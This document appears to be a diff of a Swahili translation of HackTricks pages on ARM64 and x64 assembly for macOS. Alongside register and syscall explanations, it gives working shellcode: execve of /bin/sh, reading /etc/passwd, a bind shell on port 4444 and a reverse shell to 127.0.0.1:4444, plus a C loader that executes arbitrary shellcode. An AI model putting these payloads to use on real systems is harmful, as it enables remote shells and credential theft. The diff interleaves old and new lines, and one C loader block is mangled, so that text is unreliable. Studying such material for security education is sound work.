Parameta ([maelezo zaidi katika nyaraka](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Kiashiria kwa kipengee
* x1: op -> Chaguo la njia
* x2... -> Mengine ya hoja za njia iliyoitwa
* x1: op -> Chaguzi ya njia
* x2... -> Mengine ya hoja za njia iliyohimizwa
Kwa hivyo, ikiwa unaweka kizuizi kabla ya tawi kwa kazi hii, unaweza kwa urahisi kugundua ni nini kinachoitwa katika lldb na (katika mfano huu kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitatekeleza amri):
Kwa hivyo, ikiwa unaweka kizuizi kabla ya tawi kwa kazi hii, unaweza kwa urahisi kupata nini kinaitwa katika lldb na (katika mfano huu kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitatekeleza amri):
```
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -389,9 +389,9 @@ Kwa hivyo, ikiwa unaweka kizuizi kabla ya tawi kwa kazi hii, unaweza kwa urahisi
whoami
)
```
### Shellcodes
### Msimbo wa Shell
Kukusanya:
Kwa kuchakata:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
@ -401,14 +401,21 @@ ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Kutoa baits:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
Kwa macOS mpya:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
```
<details>
<summary>Msimbo wa C kufanya majaribio ya shellcode</summary>
<summary>Msimbo wa C kwa ajili ya kujaribu shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -456,9 +463,9 @@ return 0;
```
</details>
#### Kifaa cha Kupashwa habari
#### Kifuniko
Kimechukuliwa kutoka [**hapa**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) na kufafanuliwa.
Imechukuliwa kutoka [**hapa**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) na kufafanuliwa.
{% tabs %}
{% tab title="na adr" %}
@ -553,7 +560,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Itaamsha amri na sh kutoka kwa tawi ili mchakato mkuu usiuawe
#### Amuru amri na sh kutoka kwa tawi ili mchakato mkuu usiuawe
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -597,9 +604,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Bind shell
#### Kifaa cha Bind
Bind shell kutoka [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) kwenye **bandari 4444**
Kifaa cha Bind kutoka [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) kwenye **bandari 4444**
```armasm
.section __TEXT,__text
.global _main
@ -681,9 +688,9 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### Kitanzi cha kugeuza
#### Kaburi la nyuma
Kutoka [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), kitanzi cha kugeuza kwa **127.0.0.1:4444**
Kutoka [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell kwa **127.0.0.1:4444**
```armasm
.section __TEXT,__text
.global _main
@ -760,6 +767,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,82 +1,86 @@
# Introduction to x64
# Utangulizi wa x64
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## **Utangulizi wa x64**
x64, inayojulikana pia kama x86-64, ni muundo wa usindikaji wa biti 64 unaotumiwa sana katika kompyuta za mezani na seva. Ikitokana na muundo wa x86 uliotengenezwa na Intel na baadaye kuungwa mkono na AMD kwa jina la AMD64, ni muundo unaotawala katika kompyuta za kibinafsi na seva leo.
x64, inayojulikana pia kama x86-64, ni usanifu wa processor wa biti 64 unaotumiwa sana katika kompyuta za mezani na seva. Ikitokana na usanifu wa x86 uliotengenezwa na Intel na baadaye kuchukuliwa na AMD kwa jina AMD64, ni usanifu unaotawala katika kompyuta za kibinafsi na seva leo.
### **Vidokezo**
### **Vidhivyo**
x64 inapanua muundo wa x86, ikiwa na **registri 16 za jumla** zilizopewa majina `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, na `r8` hadi `r15`. Kila moja ya hizi inaweza kuhifadhi thamani ya **biti 64** (baiti 8). Registri hizi pia zina sub-registri za biti 32, 16, na 8 kwa utangamano na kazi maalum.
x64 inapanua usanifu wa x86, ikiwa na **registri 16 za matumizi ya jumla** zilizopewa majina `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, na `r8` hadi `r15`. Kila moja inaweza kuhifadhi thamani ya **biti 64** (baiti 8). Registri hizi pia zina sub-registri za biti 32, 16, na 8 kwa utangamano na kazi maalum.
1. **`rax`** - Mara nyingi hutumiwa kwa ajili ya **thamani za kurudi** kutoka kwa kazi.
2. **`rbx`** - Mara nyingi hutumiwa kama **msingi wa usajili** kwa operesheni za kumbukumbu.
3. **`rcx`** - Mara nyingi hutumiwa kama **hesabu za mzunguko**.
1. **`rax`** - Mara nyingi hutumiwa kwa **thamani za kurudi** kutoka kwa kazi.
2. **`rbx`** - Mara nyingi hutumiwa kama **registri ya msingi** kwa operesheni za kumbukumbu.
3. **`rcx`** - Mara nyingi hutumiwa kama **kikokotozi cha mzunguko**.
4. **`rdx`** - Hutumiwa katika majukumu mbalimbali ikiwa ni pamoja na operesheni za hesabu za muda mrefu.
5. **`rbp`** - **Kiashiria cha msingi** kwa fremu ya steki.
6. **`rsp`** - **Kiashiria cha steki**, kinachofuatilia sehemu ya juu ya steki.
7. **`rsi`** na **`rdi`** - Hutumiwa kama **vyanzo** na **marudio** ya indeksi katika operesheni za herufi/kumbukumbu.
8. **`r8`** hadi **`r15`** - Registri za jumla za ziada zilizoletwa katika x64.
5. **`rbp`** - **Mnogeshaji wa msingi** kwa fremu ya steki.
6. **`rsp`** - **Mnogeshaji wa steki**, ukiweka rekodi ya juu ya steki.
7. **`rsi`** na **`rdi`** - Hutumiwa kama **vyanzo** na **marudio** ya viashiria katika operesheni za herufi/kumbukumbu.
8. **`r8`** hadi **`r15`** - Registri za matumizi ya jumla zilizoongezwa katika x64.
### **Mfumo wa Wito**
### **Mfumo wa Kuita**
Mfumo wa wito wa x64 hutofautiana kati ya mifumo ya uendeshaji. Kwa mfano:
Mfumo wa kuita wa x64 hutofautiana kati ya mifumo ya uendeshaji. Kwa mfano:
* **Windows**: **Parameta nne za kwanza** zinapitishwa kwenye usajili **`rcx`**, **`rdx`**, **`r8`**, na **`r9`**. Parameta zingine zinapushwa kwenye steki. Thamani ya kurudi iko katika **`rax`**.
* **System V (inayotumiwa kawaida katika mifumo kama UNIX)**: **Parameta sita za nambari au pointa** zinapitishwa kwenye usajili **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, na **`r9`**. Thamani ya kurudi pia iko katika **`rax`**.
* **Windows**: **Parameta nne za kwanza** zinapitishwa katika registri **`rcx`**, **`rdx`**, **`r8`**, na **`r9`**. Parameta zaidi hupigwa kwenye steki. Thamani ya kurudi iko katika **`rax`**.
* **System V (inayotumiwa kawaida katika mifumo inayofanana na UNIX)**: **Parameta sita za nambari au viashiria** zinapitishwa katika registri **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, na **`r9`**. Thamani ya kurudi pia iko katika **`rax`**.
Ikiwa kazi ina zaidi ya parameta sita, **zilizobaki zitapitishwa kwenye steki**. **RSP**, kiashiria cha steki, lazima iwe na **usawazisho wa byte 16**, ambayo inamaanisha kuwa anwani inayoelekezwa lazima igawanywe na 16 kabla ya wito wowote kufanyika. Hii inamaanisha kuwa kawaida tunahitaji kuhakikisha kuwa RSP imepangwa vizuri katika shellcode yetu kabla ya kufanya wito wa kazi. Walakini, katika vitendo, wito wa mfumo unafanya kazi mara nyingi hata ikiwa mahitaji haya hayakidhiwi.
Ikiwa kazi ina zaidi ya viingizo sita, **vengine vitapitishwa kwenye steki**. **RSP**, mnogeshaji wa steki, lazima uwe **umepangishwa kwa baiti 16**, maana anwani inayolenga lazima igawanywe na 16 kabla ya wito wowote kufanyika. Hii inamaanisha kwamba kawaida tunahitaji kuhakikisha kwamba RSP imepangishwa vizuri katika shellcode yetu kabla ya kufanya wito wa kazi. Hata hivyo, kwa vitendo, wito wa mfumo hufanya kazi mara nyingi hata kama mahitaji haya hayakidhi.
### Mfumo wa Wito katika Swift
### Mfumo wa Kuita katika Swift
Swift ina mfumo wake wa wito wa **kipekee** ambao unaweza kupatikana katika [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
Swift ina **mfumo wake wa kuita** ambao unaweza kupatikana katika [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
### **Maagizo Maarufu**
### **Maagizo ya Kawaida**
Maagizo ya x64 yana seti tajiri, yakihifadhi utangamano na maagizo ya x86 ya awali na kuongeza maagizo mapya.
Maagizo ya x64 yana seti tajiri, yakihifadhi utangamano na maagizo ya awali ya x86 na kuingiza mapya.
* **`mov`**: **Hamisha** thamani kutoka kwenye **usajili** au **eneo la kumbukumbu** kwenda kwingineko.
* **`mov`**: **Hamisha** thamani kutoka kwa **registri** au **eneo la kumbukumbu** kwenda lingine.
* Mfano: `mov rax, rbx` — Inahamisha thamani kutoka `rbx` kwenda `rax`.
* **`push`** na **`pop`**: Weka au toa thamani kwenye **steki**.
* Mfano: `push rax` — Inaweka thamani katika `rax` kwenye steki.
* Mfano: `pop rax` — Inatoa thamani ya juu kutoka kwenye steki na kuweka kwenye `rax`.
* **`push`** na **`pop`**: Piga au toa thamani kwa/ kutoka kwa **steki**.
* Mfano: `push rax` — Inapiga thamani katika `rax` kwenye steki.
* Mfano: `pop rax` — Inatoa thamani ya juu kutoka kwenye steki kwenda `rax`.
* **`add`** na **`sub`**: Operesheni za **kuongeza** na **kupunguza**.
* Mfano: `add rax, rcx` — Inaongeza thamani katika `rax` na `rcx` na kuweka matokeo katika `rax`.
* **`mul`** na **`div`**: Operesheni za **kuzidisha** na **kugawanya**. Kumbuka: hizi zina tabia maalum kuhusu matumizi ya operandi.
* **`call`** na **`ret`**: Hutumiwa kufanya **wito** na **kurudi kutoka kwa kazi**.
* **`int`**: Hutumiwa kusababisha **kuvurugika kwa programu**. Kwa mfano, `int 0x80` ilikuwa inatumika kwa wito wa mfumo katika x86 Linux ya biti 32.
* **`cmp`**: Linganisha thamani mbili na kuweka bendera za CPU kulingana na matokeo.
* Mfano: `add rax, rcx` — Inaongeza thamani katika `rax` na `rcx` ikihifadhi matokeo katika `rax`.
* **`mul`** na **`div`**: Operesheni za **kuzidisha** na **kugawanya**. Kumbuka: hizi zina tabia maalum kuhusu matumizi ya mizani.
* **`call`** na **`ret`**: Hutumiwa kwa **kuita** na **kurudi kutoka kwa kazi**.
* **`int`**: Hutumiwa kuanzisha **kizuizi cha programu**. K.m., `int 0x80` ilikuwa ikitumika kwa wito wa mfumo katika x86 Linux ya biti 32.
* **`cmp`**: **Linganisha** thamani mbili na weka bendera za CPU kulingana na matokeo.
* Mfano: `cmp rax, rdx` — Inalinganisha `rax` na `rdx`.
* **`je`, `jne`, `jl`, `jge`, ...**: Maagizo ya **kuruka kwa sharti** ambayo hubadilisha mtiririko wa udhibiti kulingana na matokeo ya `cmp` au jaribio la awali.
* Mfano: Baada ya maagizo ya `cmp rax, rdx`, `je label` — Inaruka kwenye `label` ikiwa `rax` ni sawa na `rdx`.
* **`syscall`**: Hutumiwa kwa **wito wa mfumo** katika baadhi ya mifumo ya x64 (kama vile Unix ya kisasa).
* **`sysenter`**: Maagizo ya **wito wa mfumo** ulioimarishwa kwenye jukwaa fulani.
* **`sysenter`**: Maagizo ya **wito wa mfumo** ulioimarishwa kwenye majukwaa fulani.
### **Prologue ya Kazi**
### **Prologi ya Kazi**
1. **Weka kiashiria cha msingi cha zamani kwenye steki**: `push rbp` (inahifadhi kiashiria cha msingi cha mpigaji)
2. **Hamisha kiashiria cha sasa cha steki kwenda kwenye kiashiria cha msingi**: `mov rbp, rsp` (inaweka kiashiria cha msingi kipya kwa kazi ya sasa)
3. \*\*Tenga nafasi kwenye steki kwa ajili ya pembeje
1. **Piga mnogeshaji wa msingi wa zamani**: `push rbp` (huhifadhi mnogeshaji wa msingi wa mpigaji)
2. **Hamisha mnogeshaji wa steki ya sasa kwenda kwa mnogeshaji wa msingi**: `mov rbp, rsp` (inaweka mnogeshaji wa msingi mpya kwa kazi ya sasa)
3. **Tenga nafasi kwenye steki kwa mchanganyiko wa ndani**: `sub rsp, <ukubwa>` (ambapo `<ukubwa>` ni idadi ya baiti inayohitajika)
### **Epilogi ya Kazi**
1. **Hamisha mnogeshaji wa sasa wa msingi kwenda kwa mnogeshaji wa steki**: `mov rsp, rbp` (hufuta mchanganyiko wa ndani)
2. **Toa mnogeshaji wa zamani wa msingi kutoka kwenye steki**: `pop rbp` (inarejesha mnogeshaji wa msingi wa mpigaji)
3. **Rudi**: `ret` (inarudisha udhibiti kwa mpigaji)
## macOS
### syscalls
Kuna aina tofauti za syscalls, unaweza [**kuzipata hapa**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
Kuna madarasa tofauti ya syscalls, unaweza [**kuzipata hapa**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
@ -85,9 +89,7 @@ Kuna aina tofauti za syscalls, unaweza [**kuzipata hapa**](https://opensource.ap
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
Kisha, unaweza kupata nambari ya kila syscall [**katika url hii**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
Kisha, unaweza kupata nambari ya syscall kila [**katika url hii**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
@ -104,14 +106,13 @@ Kisha, unaweza kupata nambari ya kila syscall [**katika url hii**](https://opens
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
Kwa hivyo ili kuita `open` syscall (**5**) kutoka darasa la **Unix/BSD** unahitaji kuongeza: `0x2000000`
Kwa hivyo ili kuita `open` syscall (**5**) kutoka darasa la **Unix/BSD**, unahitaji kuongeza: `0x2000000`
Kwa hiyo, nambari ya syscall ya kuita open itakuwa `0x2000005`
Kwa hivyo, nambari ya syscall ya kuita open itakuwa `0x2000005`
### Shellcodes
Kwa kuchapisha:
Kukusanya:
{% code overflow="wrap" %}
```bash
@ -120,11 +121,11 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
```
{% endcode %}
Kuondoa herufi:
Kuondoa baits:
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
@ -136,43 +137,60 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
<details>
<summary>Kificho cha C cha kujaribu shellcode</summary>
<summary>Msimbo wa C kufanya majaribio ya shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
int (*sc)();
int (\*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
char shellcode\[] = "";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
printf("\[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
sc = ptr; sc();
return 0; }
````
return 0;
}
```
</details>
#### Kifaa cha Shell
#### Shell
Kimechukuliwa kutoka [**hapa**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) na kimeelezewa.
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='kwa adr'></div>
Imechukuliwa kutoka [**hapa**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) na kufafanuliwa.
{% tabs %}
{% tab title="na adr" %}
```armasm
bits 64
global _main
@ -186,8 +204,10 @@ push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
````
```
{% endtab %}
{% tab title="na stack" %}
```armasm
bits 64
global _main
@ -203,11 +223,12 @@ pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
**Soma na cat**
Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, kwa hivyo hoja ya pili (x1) ni safu ya vigezo (ambavyo kumbukumbu inamaanisha rundo la anwani).
#### Soma na cat
Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni mfululizo wa vigezo (ambavyo kumbukumbu zake ni rundo la anwani).
```armasm
bits 64
section .text
@ -238,21 +259,7 @@ section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
**Wito amri na sh**
Unapotumia amri ya `sh` kwenye mfumo wa macOS, unaweza kutekeleza amri za shell kwa kutumia lugha ya shell inayoitwa Bourne shell. Amri hii inaweza kutumika kwa kufanya vitendo mbalimbali kwenye mfumo wako, kama vile kuendesha programu au kufanya mabadiliko kwenye faili.
Ili kutumia amri ya `sh`, unahitaji kufungua terminal yako na kuingiza amri unayotaka kutekeleza. Kwa mfano, ikiwa unataka kuendesha programu inayoitwa `programu_yangu`, unaweza kutumia amri ifuatayo:
```shell
sh programu_yangu
```
Amri hii itasababisha programu yako kuanza kutekelezwa na matokeo yake yataonyeshwa kwenye terminal.
Ni muhimu kukumbuka kuwa amri ya `sh` inaweza kutumika kwa madhumuni mbalimbali, ikiwa ni pamoja na kutekeleza amri za shell, kuzindua programu, au kufanya mabadiliko kwenye mfumo wako. Hata hivyo, ni muhimu kutumia amri hii kwa uangalifu ili kuepuka matatizo yoyote yanayoweza kutokea kwenye mfumo wako.
#### Kuita amri na sh
```armasm
bits 64
section .text
@ -290,11 +297,9 @@ sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Kifungu cha Bind
**Bind shell**
Bind shell kutoka [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) katika **bandari 4444**
Kifungu cha Bind kutoka [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) kwenye **bandari 4444**
```armasm
section .text
global _main
@ -369,11 +374,9 @@ mov rax, r8
mov al, 0x3b
syscall
```
#### Kifaa cha Kugeuza Shell
**Reverse Shell**
Kichwa cha kurejesha kutoka [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Kichwa cha kurejesha kwa **127.0.0.1:4444**
Kifaa cha kugeuza shell kutoka [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Kifaa cha kugeuza shell kwenda **127.0.0.1:4444**
```armasm
section .text
global _main
@ -435,7 +438,16 @@ mov rax, r8
mov al, 0x3b
syscall
```
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>